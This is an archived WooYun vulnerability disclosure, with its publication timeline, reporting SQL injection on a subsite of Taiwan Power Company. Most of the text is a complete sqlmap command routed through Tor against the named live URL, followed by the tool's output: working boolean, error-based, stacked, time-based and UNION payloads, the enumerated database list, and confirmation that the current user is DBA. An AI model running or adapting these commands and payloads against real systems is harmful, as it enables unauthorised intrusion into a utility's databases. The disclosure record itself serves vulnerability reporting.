乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-20: 细节已通知厂商并且等待厂商处理中 2015-05-23: 厂商已经确认,细节仅向厂商公开 2015-06-02: 细节向核心白帽子及相关领域专家公开 2015-06-12: 细节向普通白帽子公开 2015-06-22: 细节向实习白帽子公开 2015-07-07: 细节向公众公开
台灣電力公司某分站SQL注入,涉及5个数据库
./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=15 --threads 2 -u "http://funday.taipower.com.tw/japanese/news/demo.asp?indx=4539" --dbsParameter: indx (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: indx=4539 AND 8724=8724 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: indx=4539 AND 6594=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6594=6594) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(98)+CHAR(113))) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: indx=(SELECT CHAR(113)+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4863=4863) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(98)+CHAR(113)) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: indx=4539;WAITFOR DELAY '0:0:15'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: indx=4539 WAITFOR DELAY '0:0:15' Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: indx=4539 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(113)+CHAR(80)+CHAR(104)+CHAR(79)+CHAR(106)+CHAR(111)+CHAR(118)+CHAR(111)+CHAR(118)+CHAR(98)+CHAR(120)+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(98)+CHAR(113)--
available databases [5]:[*] FUN[*] master[*] model[*] msdb[*] tempdb
WAF或者过滤
危害等级:高
漏洞Rank:18
确认时间:2015-05-23 01:40
current user is DBA: True感謝通報
暂无